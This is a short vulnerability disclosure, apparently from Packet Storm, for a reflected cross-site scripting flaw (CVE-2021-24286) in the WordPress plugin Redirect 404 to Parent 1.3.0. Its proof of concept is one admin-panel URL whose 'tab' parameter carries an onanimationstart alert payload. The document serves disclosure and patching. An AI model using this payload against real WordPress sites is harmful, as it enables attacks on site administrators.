WordPress Redirect 404 To Parent 1.3.0 Cross Site Scripting

WordPress Redirect 404 to Parent plugin version 1.3.0 suffers from a cross site scripting vulnerability.

MD5 | fe80817732bac3745bcaa4890e839962

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# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2/3/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
# Version: 1.3.0
# Tested on: Windows 10
# CVE: CVE-2021-24286

1. Description:
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);

Source: packetstormsecurity.com